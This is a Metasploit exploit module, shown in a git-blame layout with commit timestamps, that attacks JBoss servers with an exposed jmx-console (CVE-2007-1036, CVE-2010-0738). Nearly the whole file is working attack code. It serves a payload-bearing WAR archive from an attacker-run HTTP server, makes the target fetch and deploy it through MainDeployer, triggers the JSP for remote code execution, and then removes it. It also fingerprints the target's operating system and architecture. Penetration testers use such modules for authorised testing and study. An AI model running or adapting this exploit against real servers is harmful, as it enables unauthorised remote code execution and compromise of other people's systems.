2010-02-21 01:41:24 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-02-21 01:41:24 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
|
2010-02-21 01:41:24 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-07-12 23:25:31 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer
|
2010-02-21 01:41:24 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss JMX Console Deployer Upload and Execute',
|
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to execute a payload on JBoss servers that have
|
|
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
|
|
|
using the jboss.system:MainDeployer functionality. To accomplish this, a
|
|
|
|
temporary HTTP server is created to serve a WAR archive containing our
|
|
|
|
payload. This method will only work if the target server allows outbound
|
|
|
|
connections to us.
|
2010-02-21 01:44:34 +00:00
|
|
|
},
|
2012-08-03 18:22:40 +00:00
|
|
|
'Author' => [ 'jduck', 'Patrick Hof', 'h0ng10'],
|
2010-02-21 01:41:24 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-03-01 19:47:13 +00:00
|
|
|
[ 'CVE', '2007-1036' ],
|
2010-05-11 09:14:36 +00:00
|
|
|
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
|
2010-02-21 01:41:24 +00:00
|
|
|
[ 'OSVDB', '33744' ],
|
2011-07-18 05:18:25 +00:00
|
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], #For CVE-2010-0738
|
2010-02-21 01:41:24 +00:00
|
|
|
],
|
2011-10-15 21:09:17 +00:00
|
|
|
'DisclosureDate' => 'Feb 20 2007',
|
2010-02-21 01:41:24 +00:00
|
|
|
'Privileged' => true,
|
2012-07-10 17:33:28 +00:00
|
|
|
'Platform' => [ 'java', 'win', 'linux' ],
|
2010-02-21 01:41:24 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
#
|
2012-07-10 17:33:28 +00:00
|
|
|
# do target detection but java meter by default
|
2010-02-21 01:41:24 +00:00
|
|
|
# detect via /manager/serverinfo
|
|
|
|
#
|
2012-07-10 17:33:28 +00:00
|
|
|
[ 'Automatic (Java based)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
}
|
|
|
|
],
|
2010-02-21 01:41:24 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Platform specific targets only
|
|
|
|
#
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
2010-05-11 09:14:36 +00:00
|
|
|
],
|
|
|
|
[ 'Linux Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
2010-06-21 16:26:14 +00:00
|
|
|
],
|
|
|
|
|
|
|
|
#
|
|
|
|
# Java version
|
|
|
|
#
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
2012-07-10 17:33:28 +00:00
|
|
|
'Platform' => 'java',
|
2010-06-21 16:26:14 +00:00
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
}
|
2010-02-21 01:41:24 +00:00
|
|
|
]
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DefaultTarget' => 0))
|
2010-02-21 01:41:24 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2010-04-30 06:30:59 +00:00
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
2010-06-21 16:26:14 +00:00
|
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
2010-05-11 16:20:46 +00:00
|
|
|
OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
|
|
|
|
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
|
2012-07-10 17:33:28 +00:00
|
|
|
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
|
2012-08-15 19:47:14 +00:00
|
|
|
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
|
2012-08-03 18:22:40 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
|
2010-02-21 01:41:24 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def auto_target
|
2012-08-03 18:22:40 +00:00
|
|
|
if datastore['VERB'] == 'HEAD' then
|
2012-12-17 22:18:08 +00:00
|
|
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
2012-08-03 18:22:40 +00:00
|
|
|
else
|
|
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
res = query_serverinfo
|
|
|
|
if not (plat = detect_platform(res))
|
|
|
|
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
|
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
|
2012-08-03 18:22:40 +00:00
|
|
|
if not (arch = detect_architecture(res))
|
|
|
|
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
|
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
|
2012-08-03 18:22:40 +00:00
|
|
|
# see if we have a match
|
|
|
|
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
# no matching target found, use Java as fallback
|
|
|
|
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
|
|
return java_targets[0]
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
2010-04-30 06:30:59 +00:00
|
|
|
datastore['BasicAuthUser'] = datastore['USERNAME']
|
|
|
|
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2010-02-21 01:41:24 +00:00
|
|
|
mytarget = target
|
|
|
|
if (target.name =~ /Automatic/)
|
2010-06-21 16:26:14 +00:00
|
|
|
mytarget = auto_target()
|
2010-02-21 01:41:24 +00:00
|
|
|
if (not mytarget)
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
|
|
else
|
|
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
|
|
end
|
2010-06-23 22:25:03 +00:00
|
|
|
arch = mytarget.arch
|
2010-02-21 01:41:24 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
# set arch/platform from the target
|
|
|
|
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
|
2010-06-21 16:26:14 +00:00
|
|
|
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
2010-08-03 15:14:34 +00:00
|
|
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
2010-06-21 16:26:14 +00:00
|
|
|
|
|
|
|
# Generate the WAR containing the payload
|
2012-07-10 17:33:28 +00:00
|
|
|
@war_data = p.encoded_war({
|
|
|
|
:app_name => app_base,
|
|
|
|
:jsp_name => jsp_name,
|
|
|
|
:arch => mytarget.arch,
|
|
|
|
:platform => mytarget.platform
|
|
|
|
})
|
2010-02-21 01:41:24 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
|
|
|
resource_uri = '/' + app_base + '.war'
|
2012-06-25 03:59:14 +00:00
|
|
|
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
2010-02-21 01:41:24 +00:00
|
|
|
print_status("Starting up our web service on #{service_url} ...")
|
|
|
|
start_service({'Uri' => {
|
|
|
|
'Proc' => Proc.new { |cli, req|
|
|
|
|
on_request_uri(cli, req)
|
|
|
|
},
|
|
|
|
'Path' => resource_uri
|
|
|
|
}})
|
2010-05-11 09:14:36 +00:00
|
|
|
|
2010-05-11 16:20:46 +00:00
|
|
|
if (datastore['WARHOST'])
|
2012-06-25 03:59:14 +00:00
|
|
|
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
2010-05-11 16:20:46 +00:00
|
|
|
end
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2010-05-11 16:20:46 +00:00
|
|
|
print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
|
2012-08-03 18:22:40 +00:00
|
|
|
if (datastore['VERB'] == "POST")
|
2010-05-11 16:20:46 +00:00
|
|
|
res = send_request_cgi({
|
2012-08-03 18:22:40 +00:00
|
|
|
'method' => datastore['VERB'],
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
|
2010-05-11 16:20:46 +00:00
|
|
|
'vars_post' =>
|
|
|
|
{
|
2010-06-21 16:26:14 +00:00
|
|
|
'action' => 'invokeOpByName',
|
2010-05-11 16:20:46 +00:00
|
|
|
'name' => 'jboss.system:service=MainDeployer',
|
2010-06-21 16:26:14 +00:00
|
|
|
'methodName' => 'deploy',
|
|
|
|
'argType' => 'java.lang.String',
|
2010-05-11 16:20:46 +00:00
|
|
|
'arg0' => service_url
|
|
|
|
}
|
2012-08-03 18:22:40 +00:00
|
|
|
}, 30)
|
2010-05-11 16:20:46 +00:00
|
|
|
else
|
|
|
|
res = send_request_cgi({
|
2012-08-03 18:22:40 +00:00
|
|
|
'method' => datastore['VERB'],
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
|
2010-05-11 16:20:46 +00:00
|
|
|
'vars_get' =>
|
|
|
|
{
|
2010-06-21 16:26:14 +00:00
|
|
|
'action' => 'invokeOpByName',
|
2010-05-11 16:20:46 +00:00
|
|
|
'name' => 'jboss.system:service=MainDeployer',
|
2010-06-21 16:26:14 +00:00
|
|
|
'methodName' => 'deploy',
|
|
|
|
'argType' => 'java.lang.String',
|
2010-05-11 16:20:46 +00:00
|
|
|
'arg0' => service_url
|
|
|
|
}
|
2012-08-15 19:47:14 +00:00
|
|
|
}, 30)
|
2010-05-11 16:20:46 +00:00
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
if (! res)
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR archive [No Response]")
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
|
|
|
case res.code
|
|
|
|
when 401
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# wait for the data to be sent
|
|
|
|
print_status("Waiting for the server to request the WAR archive....")
|
|
|
|
waited = 0
|
|
|
|
while (not @war_sent)
|
|
|
|
select(nil, nil, nil, 1)
|
|
|
|
waited += 1
|
|
|
|
if (waited > 30)
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Shutting down the web service...")
|
|
|
|
stop_service
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
print_status("Executing #{app_base}...")
|
|
|
|
|
2012-08-15 19:47:14 +00:00
|
|
|
# The payload doesn't like POST requests
|
|
|
|
# As the war file is not stored inside the jmx-console, we don't have to
|
2012-08-03 18:22:40 +00:00
|
|
|
# care about the selected http method
|
2012-08-15 19:47:14 +00:00
|
|
|
tmp_verb = datastore['VERB']
|
|
|
|
tmp_verb = 'GET' if tmp_verb == 'POST'
|
2012-08-02 21:33:17 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
|
|
# wait 3 seconds inbetween tries
|
2011-10-25 00:40:03 +00:00
|
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
2010-06-21 16:26:14 +00:00
|
|
|
num_attempts = 5
|
2012-08-02 21:33:17 +00:00
|
|
|
num_attempts.times do |attempt|
|
2010-06-21 16:26:14 +00:00
|
|
|
res = send_request_cgi({
|
2011-10-25 00:40:03 +00:00
|
|
|
'uri' => uri,
|
2012-08-15 19:47:14 +00:00
|
|
|
'method' => tmp_verb
|
|
|
|
}, 30)
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
msg = nil
|
|
|
|
if (! res)
|
|
|
|
msg = "Execution failed on #{app_base} [No Response]"
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
|
|
msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
|
|
|
|
elsif (res.code == 200)
|
|
|
|
print_good("Successfully triggered payload at '#{uri}'")
|
|
|
|
break
|
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
if (attempt < num_attempts - 1)
|
|
|
|
msg << ", retrying in 3 seconds..."
|
|
|
|
print_error(msg)
|
|
|
|
|
|
|
|
select(nil, nil, nil, 3)
|
|
|
|
else
|
|
|
|
print_error(msg)
|
|
|
|
end
|
2012-08-02 21:33:17 +00:00
|
|
|
end
|
2010-02-21 01:41:24 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
2010-06-21 16:26:14 +00:00
|
|
|
# XXX: Does undeploy have an invokeByName?
|
|
|
|
#
|
2010-02-21 01:41:24 +00:00
|
|
|
print_status("Undeploying #{app_base} ...")
|
|
|
|
res = send_request_cgi({
|
2012-08-03 18:22:40 +00:00
|
|
|
'method' => datastore['VERB'],
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
|
2010-02-21 01:44:34 +00:00
|
|
|
'vars_post' =>
|
2010-02-21 01:41:24 +00:00
|
|
|
{
|
2010-06-22 23:10:30 +00:00
|
|
|
'action' => 'invokeOpByName',
|
2010-02-21 01:41:24 +00:00
|
|
|
'name' => 'jboss.system:service=MainDeployer',
|
2010-06-22 23:10:30 +00:00
|
|
|
'methodName' => 'methodName=undeploy',
|
|
|
|
'argType' => 'java.lang.String',
|
2010-02-21 01:41:24 +00:00
|
|
|
'arg0' => app_base
|
|
|
|
}
|
2012-08-15 19:47:14 +00:00
|
|
|
}, 30)
|
2010-02-21 01:41:24 +00:00
|
|
|
if (! res)
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
|
2012-08-03 18:22:40 +00:00
|
|
|
elsif (res.code == 500 and datastore['VERB'] == 'POST')
|
|
|
|
# POST requests result in a http 500 error, but the payload is removed..."
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("WARNING: Undeployment might have failed (unlikely)")
|
2010-02-21 01:41:24 +00:00
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Handle incoming requests from the server
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
|
|
|
if (not @war_data)
|
|
|
|
print_error("A request came in, but the WAR archive wasn't ready yet!")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Sending the WAR archive to the server...")
|
|
|
|
send_response(cli, @war_data)
|
|
|
|
@war_sent = true
|
|
|
|
end
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
def query_serverinfo
|
2012-11-08 16:42:48 +00:00
|
|
|
path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
2010-06-21 16:26:14 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => path
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (not res) or (res.code != 200)
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
res
|
|
|
|
end
|
|
|
|
|
|
|
|
# Try to autodetect the target platform
|
|
|
|
def detect_platform(res)
|
2011-04-03 17:40:45 +00:00
|
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
2010-06-21 16:26:14 +00:00
|
|
|
os = $1
|
|
|
|
if (os =~ /Linux/i)
|
|
|
|
return 'linux'
|
2011-04-03 17:40:45 +00:00
|
|
|
elsif (os =~ /FreeBSD/i)
|
|
|
|
return 'linux'
|
2010-06-21 16:26:14 +00:00
|
|
|
elsif (os =~ /Windows/i)
|
|
|
|
return 'win'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
|
|
|
|
# Try to autodetect the target architecture
|
|
|
|
def detect_architecture(res)
|
|
|
|
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
|
|
arch = $1
|
|
|
|
if (arch =~ /(x86|i386|i686)/i)
|
|
|
|
return ARCH_X86
|
|
|
|
elsif (os =~ /(x86_64|amd64)/i)
|
|
|
|
return ARCH_X86
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
2010-02-21 01:41:24 +00:00
|
|
|
end
|